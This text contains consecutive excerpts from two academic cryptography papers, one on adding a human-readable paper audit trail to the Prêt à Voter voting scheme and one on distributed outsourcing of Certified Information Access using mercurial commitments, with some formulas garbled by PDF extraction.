randomised candidate list. Suppose that our voter is called Anne. At the polling
station, Anne chooses at random a ballot form sealed in an envelope; an example
of such a form is shown in Figure 1.

In the booth, Anne extracts her ballot form from the envelope and makes her
selection in the usual way by placing a cross in the right hand column against
the candidate of her choice (or, in the case of a Single Transferable Vote (STV)
system for example, she marks her ranking against the candidates). Once her
selection has been made, she separates the left and right hand strips along a
perforation and discards the left hand strip. She is left with the right hand strip
which now constitutes her privacy protected receipt, as shown in Figure 2.
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Obelix

Idefix

Asterix

Panoramix

7304944

Fig. 1. Prêt à Voter ballot form

X

7304944

Fig. 2. Prêt à Voter ballot receipt (encoding a vote for “Idefix”)

Anne now exits the booth clutching her receipt, registers with an official, and
casts her receipt. Her receipt is placed over an optical reader or similar device
that records the cryptographic value at the bottom of the strip and records in
which cell her X is marked, or the vector of rankings etc. This digital copy of
her receipt is posted to a secure Web Bulletin Board (WBB). Her original, paper
receipt is digitally signed and franked and returned to her to keep.

The randomisation of the candidate list on each ballot form ensures that the
receipt does not reveal the way she voted, thus ensuring the secrecy of her vote.
Incidentally, it also removes any bias towards the candidate at the top of the list
that can occur with a fixed ordering.

The value printed on the bottom of the receipt, that we refer to as the onion,
is the key to extraction of the vote during the tabulation phase. Buried crypto-
graphically in this value is the information needed to reconstruct the candidate
order and so extract the vote encoded on the receipt. This information is en-
crypted with secret keys shared across a number of tellers. Thus, only a threshold
set of tellers acting together are able to interpret the vote encoded on the receipt.

After the voting has closed, voters (or perhaps proxies acting on their behalf)
can visit the secure Web Bulletin Board (WBB) and confirm their receipts appear
correctly. Once any discrepancies are resolved, the tellers take over and perform
anonymising mixes and decryption of the receipts. All the intermediate stages
of this process are committed to the WBB for later audit. Various auditing
mechanisms are in place to ensure that all the steps, the creation of the ballot
forms, the mixing and decryption etc are performed correctly. These are carefully
designed so as not to impinge on ballot privacy. Full details can be found in, for
example, [22].

An early version of the Prêt à Voter system used a decryption mix network to
break the link between an encrypted receipt and the plaintext vote [1]. We call
this configuration of the system Prêt à Voter 2005. When the decryption mix
network was exchanged for a re-encryption mix network in Prêt à Voter 2006
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[26] this made provisions for a range of measures that protect the secrecy of the
election, for example the on-demand printing of ballot forms in the booth. A
further extension of the system exchanged the Elgamal encryption for Paillier
[22].

2.1 The Security Properties

Cryptographic schemes, like those in the Prêt à Voter class, strive to provide the
following properties:

1. Accuracy
2. Ballot privacy and coercion resistance
3. Voter-verifiablity

Accuracy can be thought of as the requirement that all legitimately cast votes
should be included in the tabulation. We will assume that a correct register of
legitimate voters is maintained and that mechanisms are in place to authenticate
voters and ensure that each voter can cast at most one vote.

Ballot privacy requires that, for any given voter, it should be impossible for
anyone, other than the voter, to determine how they voted. Coercion resistance
requires that even if the voter is prepared to cooperate with a coercer throughout
the vote casting protocol, the voter cannot construct a proof of how they voted.

Voter-verifiability requires that voters should have a way to confirm that their
votes are accurately included in the tabulation. Clearly this has to be done in a
way that does not violate coercion resistance.

Prêt à Voter allows all voters to check that their votes were recorded as in-
tended by the electronic voting system and then the public verifiability allows
any interested organisation or individual to check that all recorded, encrypted
votes are transformed into countable plain text votes correctly. Thus the tab-
ulation of the receipts is universally verifiable. The assurance arising from the
voter checks relies on a reasonable number of voters checking their receipts on a
web site.

The goal is to provide high assurance that these properties are guaranteed
for any election without needing to trust any component of the system, be it
software, hardware or humans. Rivest has coined the term software independence
to refer to this design requirement [19].

Analysis of the Prêt à Voter schemes indicates that, subject to certain as-
sumptions, they fulfill the above requirements. We refer the reader to the various
papers and tech reports for the details.

The scheme that we describe here inherits the security properties of Prêt à
Voter 2006. For the accuracy requirement it can be argued that this scheme
provides higher guarantees, as long as we assume that the integrity of the pa-
per audit trail can be guaranteed. Regarding the privacy requirements there is
a danger that the HRPAT mechanism may undermine the carefully wrought
properties of the 2006 scheme. We will discuss the differences in the security
guarantees provided by Prêt à Voter 2006 and the scheme of this paper in our
conclusions Section 5.
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3 Preliminaries

In this section we introduce some of the primitives that we need in what follows.

3.1 Threshold ElGamal

We recall the probabilistic algorithm due to ElGamal, [4]: given a large prime p
and a generator α of a q-order subgroup of Z∗

p . A party A chooses a secret key
k and computes β:

β := αk (mod p)

The public key is p, α and β. k is the secret key. Encryption of m yields a
pair of terms computed thus:

c := (y1, y2) := (αr, m · βr) (mod p)

where r is chosen at random. A decrypts c as follows:

m = y2/yk
1 (mod p)

The security of ElGamal rests on the presumed difficulty of taking discrete
logs in a finite field. Thus, recovering the secret k exponent from knowledge of
p, α and β is thought to be intractable.

A randomising algorithm like ElGamal allows the possibility of re-encryption:
anyone who knows the public key can re-randomise the original encryption with
a new random value r′:

(y′
1, y

′
2) := (αr′

· y1, β
r′
· y2)

which gives:

(y′
1, y

′
2) := (αr′+r, βr′+r ·m)

Clearly, this is equivalent to simply encrypting m with the randomisation
r + r′ and decryption is performed exactly as before. We will see the utility of
re-encryption when we come to describe anonymising mixes. Note that, crucially,
the device performing the re-encryption does not use any secret keys and at no
point in the re-encryption process is the plaintext revealed.

In fact we will use exponential ElGamal, where m is encrypted as:

c := (y1, y2) := (αr , αm · βr) (mod p)

Thus the plaintext is carried in the exponent of α. This is convenient when
we come to transform the receipts to pure ElGamal terms prior to mixing. It
does mean however that we have to limit the plaintext space to avoid having to
extract discrete logs to obtain the plaintext. Furthermore, we will use a threshold
form of ElGamal. We omit the details and refer the reader to [16], for example.
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4 The Scheme

In this section we first present the HRPAT Prêt à Voter ballot form with its
onions and how they are created and printed. We then describe the on-demand
printing of the candidate list and the method by which votes are cast. Finally
we show how the encrypted receipts are decrypted and how the HRPAT can be
used to verify the electronic election.

4.1 The Ballot Form and Its Use

The usual Prêt à Voter ballot form is modified to comprise two overlaid pages.
The bottom page has the usual two portions: the left hand portion carries an
onion and a serial number. The top page overlays the right portion of the bottom
sheet and carries another onion value. The top page has a carbon layer or similar
on the back to ensure that marks applied to the top page transfer to the bottom

POST

onionL

serial

RETAIN

onionR

Fig. 3. The ballot form in two pages

RETAIN

onionL onionR

serial

Fig. 4. The ballot form complete

RETAIN

candidateB

candidateC

candidateA

onionL onionR

serial

Fig. 5. The ballot form with candidates printed
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RETAIN

candidateB

candidateC X

candidateA

onionL onionR

serial

Fig. 6. The ballot form with marks

POST

candidateB

candidateC X

candidateA

onionL

serial

RETAIN

X

onionR

Fig. 7. The marked ballot form in two pages

page. The layout of the ballot form is shown in Figure 3. This means that when the
top page is aligned over the right column of the bottom page, as is the case when
the voter receives the ballot form, the ballot form looks as shown in Figure 4. When
the voter makes her mark in the right hand column of this complete form the mark
is made on both pages.

The reader will notice that there are no candidate names printed in Figure 3.
This is because we are incorporating the on-demand printing of ballot forms
introduced in previous papers [26]. When the voter has identified herself to the
poll station workers she is allowed to randomly choose a ballot form such as
that in Figure 4. At this stage onionL and onionR are concealed (for example
by a scratch strip) so that they cannot be read by either the poll station worker
nor anyone else at the polling station. The other value, serial, is noted in the
register next to the voter’s name.

The voter takes the form into the voting booth where she makes onionL visible
and then allows a machine to read this value. The machine decrypts of the onion,
as will be explained later, and from this computes the candidate list, which it
now prints in the left column of the ballot form.

The result is depicted in Figure 5.
The voter now makes her mark(s) on the form in the privacy of the voting

booth and the result is exemplified in Figure 6. She then detaches the top page
from the bottom and the result is shown in Figure 7. The voter places the page
marked POST into an envelope through which only the serial number is visible
and then leaves the booth carrying the envelope and the top page, which will
constitute her receipt. She now presents herself to the vote casting desk and
hands over the envelope and receipt. The poll station worker checks that serial
is the same as the one previously assigned to the voter. Once this is done, the
serial number is detached and discarded and the envelope containing the lower
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page is placed in the ballot box. The page marked RETAIN , which acts like a
conventional Prêt à Voter receipt, is scanned, a digital copy posted to the WBB
and handed back to the the voter to keep as her protected receipt.

The serial number serves a dual purpose here: firstly it counters chain-voting
attacks as suggested by Jones [8]. Secondly, it serves to verify that the voter
does not retain the lower layer of their ballot form. This is a useful spin-off of
the HRPAT mechanism: in the standard Prêt à Voter, there is the possibility of
the voter retaining the LH portion of the ballot form, along with her receipt, to
prove to a coercer how she voted.

4.2 Cut-and-Choose

Early versions of Prêt à Voter used preprinted ballot forms and so, for the
election to be guaranteed accurate and to instill trust in the voters, randomly
selected ballot forms are audited before, during and after the election. That is
to say they are decrypted and shown to have been correctly printed [2,23]. Such
random selection is performed by suitable auditing authorities but may also be
supplemented by the voters themselves. One mechanism to provide such a cut-
and-choose protocol to the voter while maintaining control on the number of
ballots issued to each voter, is to have a double sided form, one side of which
(selected at random by the voter) is used to cast the vote and the other is
automatically audited [25,26]. However, any such “cut-and-choose” mechanism
only allows forms that are not used to be audited.

In the scheme presented here, we add a paper audit trail to Prêt à Voter. As
has been described above, the candidate list is printed on the bottom page of
the ballot form and this page is placed in a ballot box and provides the human
readable paper audit trail. Because of the properties of the relation between the
two pages as described in this section, it is possible to audit the printing of the
candidate list of any number of forms that were actually used for voting after
the close of the election. The device or authority printing the form would thus be
caught with a probability proportional to the number of forms audited. Hence
the HRPAT method shown in this paper has this further audit application. This
auditing mechanism can be used with either pre-printed or on-demand printed
forms.

4.3 Generation of the Encrypted Ballot Forms

We describe a distributed, parallel construction of the onion pairs, analogous to
the Paillier construction presented in [22]. Suppose that we have L clerks. They
will be responsible for generating I onion pairs, where each onion pair will carry
the same seed/plainext.

We further suppose that we have an ElGamal public key for the tellers PKT

and public keys for the Booths PKBk
, where k indexes the booths. Both of these

public keys will have the same modulus. We provide the construction for a single
booth key; we simply replicate the construction for other booth keys. Denote the
public key of the booth in question as PKB.
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The jth clerk generates I sub-onion pairs:

{θT
j,i; θ

B
j,i}

Where:

θT
j,i := {sj,i, xj,i}PKT

and

θB
j,i := {sj,i, yj,i}PKB

The first term is an encryption of the j, ith seed under the Teller’s public key.
The second term is the encryption of the same seed value under the booth’s
public key. The randomisations x, y, used for these two encryptions should be
independent.

All of these sub-onions are all posted to a WBB in cells of an L × I matrix
(L columns, I rows) — one pair in each cell. To audit these, an independent
auditing entity chooses for each row a randomly selected subset of the cells in
the row, say half. For these selected cells the clerks reveal the s, x and y values.
The auditor can check that the encryptions match the posted sub-onion values
and that the two seed values are equal for each pair. The auditor can also check
that the s values are consistent with the required distribution.

Assuming the posted material passes the audits, the “full” onions are formed
by taking the product of the remaining, un-audited pairs row-wise. This step is
universally verifiable. Let Ai denote the set of indices of the pairs selected for
audit in the ith row. Then the “full” onions for the i th row are computed as:

ΘT
i :=

∏
j∈Ā

θT
j,i

ΘB
i :=

∏
j∈Ā

θB
j,i

To create the proto-ballots, suppose that we have paper ballots forms that
initially just carry index values from I, each form will carry a unique index
value. We now introduce two new processes P1, P2. P1 takes a form with index
i, looks up ΘT

i on the WBB, re-encrypts it and prints the result on the RH
portion of form. This now constitutes the ΘR,i for the ballot form. It then covers
this with a scratch strip. Once it has finished a batch of these, they are shuffled
and passed on to P2.

P2 looks up the appropriate ΘB
i , re-encrypts this and prints the resulting

value, ΘL,ion the LH portion of the ballot and covers it with a scratch strip.
We perform audits on a randomly selected subset of the resulting proto-

ballots. For the selected ballots, the onions are revealed and P1 and P2 are
required to prove the re-encryption link back to the onion pair on the WBB.
Audited forms are marked are discarded.
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Our construction ensures that it would take corrupt booth or access to the
paper audit trail and a two-way collusion, of P1 and P2, to link the R (receipt)
onions to the candidate lists. The index value on the ballots can serve as the
serial number, and is removed at the time of casting.

4.4 Anonymising Tabulation

Anonymising tabulation proceeds as for Prêt à Voter 2006. We outline it here
for completeness. The encrypted receipts scanned in the polling station are pub-
lished on the web bulletin board and all voters are able to check that their
receipts appear there. When all tellers are satisfied that the election has ended
and all electoral rules have been followed they start the decryption process,
which is shown in Table 1. The first teller, T1, takes all encrypted receipts and
injects the voter’s choice(s) into the onionR, using the homomorphic properties
of exponential ElGamal. We call the onion with the injected choice(s) onionI .
Suppose:

onionR = (αr , αs · βr) (mod p)

Then:

onionI := (αr, αv · αm · βr) (mod p)

The index number v indicates the position of the X on the receipt. In effect,
we are multiplying onionR by the encryption of v with randomisation r = 0.
The result is:

onionI = {v + s, t}PKT

Thus, the I onion is the encryption of the v index plus the seed value. The
offset φ of the candidate list printed on the ballot form is computed as φ :=
s (mod n), where n is the number of candidates. The candidate order is cyclically
shifted upwards from the canonical ordering by φ. Thus, v + s (mod n) gives the
index of the candidate chosen by the voter in the canonical numbering of the
candidates.

No mixing is performed at this step: the I and R onions are posted side-by-
side on the WBB. That each onionI is correctly formed w.r.t. onionR is thus
universally verifiable.

Table 1. Decryption of the encrypted receipts

Inject Re-encryption Plaintext
onionR choices onionI mix network onionIn Decryption vote

OR2 ⇒ OI2 OI5 ⇒ V5

OR1 ⇒ OI1 OI2 ⇒ V2

OR4 ⇒ OI4 OI3 ⇒ V3

OR5 ⇒ OI5 OI4 ⇒ V4

OR3 ⇒ OI3 OI1 ⇒ V1
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We now perform a sequence of re-encryption mixes, performed by a set of mix
tellers. Each mix teller takes the full batch of onionIs, re-encrypts each onion,
shuffles the batch and outputs to the next mix teller. The output batch from
each teller is published onto the web bulletin board. The last output batch we
call onionIn .

When all mix tellers have performed their re-encryption mixes, the indepen-
dent auditors confirm that the mixes have all been performed correctly. This
might be done using partial random checking [7], or perhaps Neff’s proofs of
ElGamal shuffles [15]. If the auditors confirm that the mixes are correct, we
can proceed to the decryption stage. If problems are identified with the mixes,
corrective actions can be taken. Thus, for example, if one of the mix tellers is
identified as having cheated, it can be removed and replaced. The mixes can be
re-computed from the point onwards and re-audited. We might routinely re-run
the mixes and audits in any case for additional assurance.

Once we are happy that the mixes have been performed correctly, a threshold
set of the decryption tellers take over and cooperate to decrypt each onionIn .
No mixing is required at this stage and each step of the decryption can be
accompanied with a ZK proof of correct (partial) decryption. The final, fully
decrypted values can be translated into the corresponding candidate values using:

candidatei = (s + v) (mod n))

Such re-encryption mixes are known to provide anonymity against a pas-
sive attacker. Against an active attacker, who might have some capability to
inject or alter terms entered into the mix, we have to guard against ballot dou-
bling attacks: to identify a particular voter’s choice, he injects a term that is
a re-randomisation of the voter’s receipt. If unchecked, this will result in two
decrypted receipts with the same adjusted seed value. We will in any case have
procedures in place to guard against ballot stuffing that will help counter such
dangers. An additional measure is to run (threshold) plaintext equivalence checks
against the terms in the mix prior to decryption, see [9].

4.5 Audit of the Paper Trail

We now have a number of possible strategies for auditing the election. One
scenario is to perform a full, manual recount of the election using the HRPAT and
simply compare this with the cryptographic count. In practice, due to inevitable
errors with manual counting, this will differ from the electronic count, even if the
latter is exact and correct. If the difference is small and well within the winning
margin, this could probably be disregarded.

An alternative is to take a random subset of the HRPAT ballots and, for
each of these forms, the auditor requires the appropriate booth to decrypt the
onion and so reveal the seed s. The tellers are required to provide ZK proofs of
the correctness of their decryption steps. From the seed value s it computes the
candidate order and checks that this agrees with the list printed on the ballot.

This audit serves to catch any cheating by booths that might not have been
detected earlier during any cut-and-choose audits. The advantage of these audits
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is that we are checking the candidate orders on ballot forms actually used by
the voters to cast their votes rather than just on unused ballots.

We can now perform some checks of correspondence between the paper au-
dit trial and the decrypted ballots posted from the tabulating mixes. For each
selected paper audit ballot, the auditor now computes the adjusted seed value:

s̄ := v + s

It should now be able to find a matching value amongst the decrypted outputs
of the tabulation process on the WBB. Failure to find a matching value casts
doubt on the conduct of the election. If the auditor finds an adjusted seed value in
the tabulation that differs slightly (i.e. by less than n) from the closest seed value
from the paper audit trial this may be indicative of corruption. This might be due
to some manipulation of index values in the paper audit trial or the electronic
records. Further investigation would now be required, firstly to establish that
the paper ballot has not been manipulated.

For ballots selected for audit for which the above check fails, we can perform
a diagnostic check: we perform PET checks of the paper ballot onion against
the posted receipt onions. If a match were found, and the corresponding index
posted against this onion on the WBB agrees with the index of the paper copy,
this would indicate that this receipt had been corrupted in the mix/tabulation
phase not detected.

We can also compute amended onions from the paper audit trail by folding
the index into the LH onion in the same way that we formed the I onions.
We refer to these as J onions.These J onions will have different randomisations
from the corresponding I onions computed previously. However, as long as all
computations have been performed correctly, the sets of onionIs, onionIns and
onionJs contain the same plaintexts. In other words, The J onions should be
related to the I by a re-encryptions and shuffles. We could test this hypothesis
by performing a full PET matching of the I and J onions or, perhaps more
realistically, performing some spot checks on a random selection.

5 Analysis

Rather than attempt a full analysis of the present scheme, we will discuss the
respects in which it differs from Prêt à Voter 2006. In terms of the accuracy
guarantees we will see that this scheme provides stronger guarantees that Prêt
à Voter 2006, assuming the integrity of the paper audit trial. If the paper audit
trial is vulnerable to manipulation, then arguably the HRPAT mechanism could
undermine the assurance of accuracy of the original scheme.

Assuming the integrity of the paper audit trail for the moment, the addi-
tional auditing possibilities introduced by this HRPAT mechanism means that
it will be significantly harder to violate accuracy in an undetectable way. For
example, the fact that all actually voted ballot forms can be audited for correct
construction means that is essentially impossible for votes to be incorrectly en-
coded in receipts undetected. In previous versions of Prêt à Voter, and indeed
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similar schemes, these checks are probabilistic and require assumptions of lack
of collusion between ballot creating processes and auditing processes.

5.1 Linking the Receipt Onions to the Candidate Lists

The fact that in this scheme, the ballot forms carry linked onions on both por-
tions does create potential threats against ballot privacy. Thus, for example, if
the adversary is able to link the L and R onions for a ballot form and is able to
access the paper audit trail, then he will be able to compromise the secrecy of
that voter’s ballot. This could be achieved with the collusion of the P1 and P2

processes. It is of course difficult to gauge whether this is a good trade-off, and
this judgement will probably vary according to circumstance, perceived threats
etc.

The link between LH and RH onions is cryptographically protected and can-
not be directly re-established without access to a threshold set of teller’s keys.
However, there is a danger that if booth keys are compromised, it may be pos-
sible to obtain the seeds for some ballots and link these to the decrypted values
posted on the WBB. The coercer still has to link the HRPAT ballot to the voter
who used it. He can do this if he can establish the link between the two onions.
However, our construction ensures that it would require a collusion of the P1

and P2 processes to reveal these links.
We see that the HRPAT mechanism does introduce some threats against ballot

privacy that are absent in conventional Prêt à Voter. However, we have striven
to ensure that the threshold to exploit such vulnerabilities is quite high. It is
a delicate trade-off to establish whether the introduction of such vulnerabilities
is justified by the added assurance and confidence resulting from the HRPAT
mechanism.

5.2 Voter Choices Differ between Pages

As the voter makes her marks on the form in the privacy of the booth, it is
possible for a malicious or coerced voter to introduce different marks on the
two pages in order to try to introduce inconsistencies between the paper and
electronic records and so seek to discredit the election. To resolve this and to

Table 2. Another re-encryption mix of onionL

Re-encryption
onionL mix network onionM

OL2 OM2

OL3 OM1

OL1 OM4

OL5 OM5

OL4 OM3

All tellers
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prove that the marks were made differently on each sheet by the voter the tellers
can take the list of onionLs and run them through a re-encryption mix to form
a list of onionM s, as shown in Table 2. It is then possible to use the PET
strategy to prove which onionM contains the same information as the onionL,
the extension of which is that the bottom page is valid but the voter’s mark
does not match. If the tellers, when prompted, find that onionL with the voter’s
choice Vbottom does not have the same plaintext as onionR with the choice Vtop

injected then they prove that onionL has the same plaintext as onionM to show
that the marks are different on each of the pages.

6 Conclusions

We have presented a mechanism that can be incorporated in Prêt à Voter to
generate a plaintext paper audit trail. This has a number of benefits: firstly
there is the confidence building effect of having a paper audit trail as a safety-net.
Secondly it provides a number of additional auditing possibilities: spot checks of
correspondence between the paper ballots and decrypted ballots as well as checks
on the correctness of the candidate order printed on the ballots by the booth
devices. Note that these checks are applied directly to the candidate orders used
by the voters, rather than on unused, audited forms as with the cut-and-choose
audits.

A further benefit is to provide a mechanism to ensure that voters do submit
the portion of the ballot that carries the candidate order, so countering dangers
of voters attempting to smuggle these out to prove prove their vote to a coercer.

On the other hand, the HRPAT mechanism presented here does introduce
some threats against ballot privacy that are not present in conventional Prêt
à Voter. Evaluating this trade-off requires more systematic ways to evaluate
voting systems than exist at present. Besides, it is likely that such trade-offs will
be highly dependent on the context. For example, in the UK, it is required by
law to maintain a link between voter id and ballots forms. Thus, in the UK, a
mechanism along the lines proposed would not only be acceptable but would
probably be required.

Another issue to be borne in mind, is that the paper audit trail may be
vulnerable to manipulation. This is true of conventional pen and paper voting,
but here it may be particularly problematic as such manipulation may serve
to cast doubt on a completely valid electronic count. Again, this is a delicate
trade-off against the comfort factor of having a paper audit trail fall-back.
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20. Ryan, P.Y.A.: Prêt à voter with human readable paper audit trail. Technical Report
of University of Newcastle, CS-TR:1038 (2007)
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22. Ryan, P.Y.A.: Prêt à voter with paillier encryption. In: Mathematical and Com-
puter Modelling, Mathematical Modeling of Voting Systems and Elections: Theory
and Application (2008)
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Abstract. In this paper we consider the problem of securely outsourc-
ing computation on private data. We present a protocol for securely
distributing the computation of the data structures used by current im-
plementations of the Certified Information Access primitive. To this aim,
we introduce the concept of a Verifiable Deterministic Envelope - that
may be of independent interest - and we provide practical implementa-
tions, based on standard cryptographic assumptions.

We also discuss a prototype implementation of our proposal based on
the PUB-WCL framework developed at the University of Paderborn for
sharing computation across a network.

1 Introduction

The advances in communication technology of the last decades have made it
possible the emergence of global-scale computer networks. Networks of such a
large scale are currently used to share information for fast dissemination and
efficient access. It has been observed that most of the nodes in a global size
network are idle most of the time, thus it is very tempting to use the idle cycles
of this huge computer to our advantage. We envision a scenario where a user
outsources its computation to the network. Researchers have considered challeng-
ing issues in contexts such as node/service/data discovery, resource scheduling,
and load balancing. Moreover, several security issues must be addresses, such
as authentication of entities collaborating in the computation, confidentiality of
communication, correctness of the computation in presence of malicious adver-
saries, etc.
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This paper addresses some of the security issues related on outsourcing com-
putation on private data. Sharing computation across the network has been suc-
cessfully achieved for several computation-intensive tasks like number-theoretic
computation [1] or search for signs of extraterrestrial intelligence [2]. We notice
that in both cases the input to the shared computation are public and security
issues are trivial or non-existing. In other applications in which the outsourced
computation is to be carried out on public data, most of the security issues are
directly related to the problem of authentication: is the entity/user/service who
required the computation entitled to use the network?

However, in some cases one wants to share computation to be performed
on private data. A typical example is given by a user that wants to share the
computation associated with a cryptographic algorithm. For instance, authors
in [8] showed how a computationally weak device like a mobile device could be
helped in computing the encryption of a message by faster devices. In this case
the input of the computation, that is the cleartext, is private, otherwise there
would be no need for encryption in the first place. Distributing computation on
private data is thus more problematic. On one side, the user wants to harness
the computational power of network to speed-up his computation; on the other
side, he does not want to trust the network with his private data.

In this paper, we show that it is possible to securely share the computation
associated with the construction of a data structure to be used for Certified
Information Access. To this aim, we introduce a new cryptographic primitive,
which we call Verifiable Deterministic Envelope, and we show how to use it to
securely share the construction of the data structures needed for Certified In-
formation Access. We then give a very efficient implementation of Deterministic
Envelopes. We also describe an implementation based on the PUB-WCL [5,4]
framework developed at the University of Paderborn.

Certified access to a database. The Certified Information Access (CIA for short)
is a cryptographic primitive introduced by [8] that provides certified access to
a database. Specifically, the database owner publishes a snapshot of its current
database, which we refer to as the Public Information, on a trusted entity. Once
the public information is available, any user may issue queries to the database.
The database owner gives the user the query result along with a short proof that
the result is consistent with the published snapshot. In other words, the data-
base owner can only reply to users’ queries by sending the information actually
contained in the database while a user will be able to identify wrong and/or
maliciously constructed answers.

We notice that this problem has several applications in contexts in which the
database owner as incentives to provide specific informations to the users. For
example consider a website that provides information on the ”closest” shop to a
given position to its users. Furthermore, assume that the same website publishes
commercials for some shops that pay some fee for such a service. In this case,
the website administrator might be willing to pre-process replies in a way to
favor the companies that pay for commercials w.r.t. the ones that do not pay
any fee.
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One trivial way of implementing CIA is to publish the whole content of the
database on a trusted server. A user can thus compare the received reply with
the one contained in the public copy of the database (or actually directly query
the trusted server). This solution is, of course, neither secure nor efficient. Since
the database has to publish its whole contents, the confidentiality of the infor-
mation therein contained is compromised. Furthermore, since all the elements in
the database need to be transmitted and stored, the communication and space
complexity of this solution is linear in the size of the database.

For these reasons the public information should satisfy the following properties:

– Compactness: If s is the number of entries in the database, then the size of
the public information should be at most O(polylog(s)).

– Confidentiality: The public information should not reveal anything about
the actual content of the database.

– Correctness: A correct answer to a query should be consistent with the public
information with probability one.

– Soundness: Any wrong answer to a query will be detected with high
probability.

Currently, a way of implementing CIA primitives is by means of a new cryp-
tographic primitive, namely mercurial commitments introduced and studied in
[10,7,6,9]. Unfortunately, the implementation of such primitive are computa-
tionally intensive. On one hand, the generation of the public information is time
consuming also on current servers. On the other hand, although the verification
procedure can be easily executed on a PC in few seconds, it still requires a not
neglibigle time on tiny mobile devices.

In [8], the authors provide a distributed implementation of a CIA service. In
such implementation, the database owner builds a tree representing the database.
Each node in the database is associated to the computation of modular exponen-
tiations. The system presented in the above paper, by using “pre-computation”
peers, securely distributes, for each node in the tree, the computation of the mod-
ular exponentiations. Each pre-computation peer receives a base and a modulus
and she is required to randomly select a number of exponents and to compute the
corresponding modular exponentiation. The database owner is simply required
to locally combine partial results obtained by the peers.
Our Contribution. In this paper we present an efficient distributed implemen-
tation of a CIA service. Our implementation allows the database owner to com-
pletely outsource the tree computation. Clearly, the information in the database
need to be hidden before they are transferred. Unfortunately, as it will be clear
in the next sections, it is not possible to use “simple” (neither randomized nor
deterministic) encryption schemes. To this aim, we first present a new primi-
tive, which we call Verifiable Deterministic Envelope (or VDE for short), that
allows the “encryption” of all the elements in the database. The “encrypted”
version of the database is then transferred to a web-cluster that computes the
tree associated to the database and sends it back to the database owner.

In this scenario, the database owner still needs to locally compute an “en-
cryption” of each element in the databases.
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As in [8], we describe a solution for static databases, i.e., databases in which the
content does not change. This is however without loss of generality as our main
target will be slowly-changing databases for which every time the database is up-
dated a new snapshot is published. For rapidly changing databases, one could use
the construction of [9] which is however not very practical. Indeed, the latter so-
lution requires that, for each database update, the database owner has to publish
some information whose size is poly-logarithmic in the size of the key space.

Notice that, since our solution works only for static databases, it is impor-
tant to speed up the construction of the tree of commitments since CIA for
slowly-changing databases can be implemented by reconstructing from scratch
the whole tree.

We assume that there exists a trusted entity that does not collude with the
entity holding the database. The trusted party is only required to generate some
of the public parameters for the scheme and to store the database’s snapshot.
Furthermore, we assume the possibility of accessing a cluster of untrusted ma-
chines whose role is to construct the tree of commitments.

This paper is organized as follows: In Section 2, we describe the cryptographic
primitives used to implement our prototype. In Section 3 we show how to modify
the initial database in order to securely outsource computation. In Section 4 we
describe a new primitive, which we call the Verifiable Deterministic Envelope,
used to secure the outsourcing of the computation. In Section 5 we report the
design principles for a distributed architecture implementing a CIA service. Due
to space limitations, an extended version of this paper can be found at [3].

2 Cryptographic Background

In this section we describe the cryptographic primitives we will use in this work.
One Way Trapdoor Permutations. A trapdoor permutation family Π over D
consists of the following triple of algorithms: (PermGen, Permute, Invert). The
randomized algorithm PermGen, on input a security parameter, outputs the de-
scription f of a permutation along with the corresponding trapdoor tf . The
algorithm Permute, given the permutation description f and a value x ∈ D,
outputs y ∈ D, the image of x under the permutation f . The inversion algo-
rithm Invert, given the permutation description f , the trapdoor tf , and a value
y ∈ D, outputs the pre-image of y under the permutation f . When it engenders
no ambiguity, we will write f(x) instead of Permute(f, x) and f−1(y) instead of
Invert(f, tf , y).

We require that Permute(f, ·) be a permutation of D for all possible (f, tf )
output by PermGen, and that Invert(f, tf , Permute(f, x)) = x hold for all (f, tf )
output by PermGen and for all x ∈ D. Let (f, tf ) ← PermGen(1k) and y = f(x).
A trapdoor permutation family Π is said to be one-way if, given y, and f , no
polynomial time algorithm can compute x with non-negligible probability.

Deterministic Signatures. A deterministic signature scheme is a triple of algo-
rithms S = (KeyGen, Sign, Ver). The algorithm KeyGen is a randomized algo-
rithm that, on input a security parameter, outputs a pair (sk, vk), consisting of
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a signature key sk and a verification key vk. The algorithm Sign is a determinis-
tic algorithm that takes as input a message x and the signing key sk and outputs
a signature σ for x. The verification algorithm Ver is a (possibly randomized)
algorithm that takes as input a message, x, a signature, σ and a verification key
vk and outputs 1 if and only if σ = Sign(x, sk).

A signature scheme is secure against selective forgery attacks if there exist
no (probabilistic) polynomial time algorithm that, on input a message x and
the verification key vk, outputs a valid signature σ for x with non-negligible
probability.

Mercurial Commitments. In any commitment scheme, a sender and a receiver
participate in a Commit protocol where the sender commits to some secret infor-
mation m while the receiver learns nothing1 on the value of m. Later the sender
can ”open” the commitment by revealing the secret information and the receiver
can reject such value if it is not consistent with the information received during
the Commit. A commitment scheme meets the binding property if it guarantees
the receiver that the sender cannot reveal a value m′ �= m that is consistent with
the information exchanged during the Commit phase.

AMercurialCommitment scheme, studied in [10,7,6,9], allows twopossibleways
of creating a commitment. A hard commitment h to a message m, corresponding to
a “classical” commitment, meets both the hiding and binding properties. In other
words, the hard commitment h for a message m does not reveal any information on
m. At the same time, h can be only ”opened” to the value m, i.e., the sender cannot
reveal a value m′ �= m. A soft commitment does not take any message as input and
cannot be ”opened” as hard commitments. On the other hand, soft commitments
are not binding, that is, there exists a special tease operation that allow to “open” a
soft commitment to any message m. A hard commitment can be opened and teased
only to the original message m.

A feature of Mercurial commitments schemes is that hard and soft commit-
ments are indistinguishable. Thus, given a mercurial commitment, it is not pos-
sible to determine a priori whether it is a hard or a soft one. More formally, a
Mercurial Commitment scheme consists of the following 6-tuple

MC = (Setup, Commit, VerifyOpen, SoftCommit, Tease, VerifyTease)

of possibly randomized algorithms. In this section we show how we implement
Mercurial Commitment schemes. Our implementation is based on the hardness
of the discrete logarithm in cyclic groups and is based on [7].

The Setup procedure consists in randomly picking a random prime p and two
generators g, h of the cyclic group Z�

p . All operations are to be considered in the
group Z�

p unless otherwise specified.

1 Commitment schemes may be computationally or unconditionally hiding. In the
first case, the receiver is restricted to some PPT and, with high probability, she
cannot obtain information on the committed value. In the latter case, the receiver
has unbounded computational power and, with probability 1, she cannot gain any
information on the value of m in the information-theoretic sense.



A Distributed Implementation of the Certified Information Access Service 401

The Commit procedure takes as input the string m and public parameters
(p, g, h) and computes com and dec as follows: randomly pick r0, r1 ∈ Z�

p and
set com = (gm · (hr1)r0 , hr1) and dec = (r0, r1).

The VerifyOpen procedure takes as input the public parameters (p, g, h), a
message m, a commitment com = (C0, C1) and decommitment key dec = (r0, r1)
and consists in checking whether C0 = gm · Cr0

1 and C1 = hr1 .
The SoftCommit procedure takes as input the public parameters (p, g, h) and

computes Scom and Sdec as follows: randomly pick r0, r1 ∈ Z�
p and set Scom =

(gr0 , gr1) and Sdec = (r0, r1).
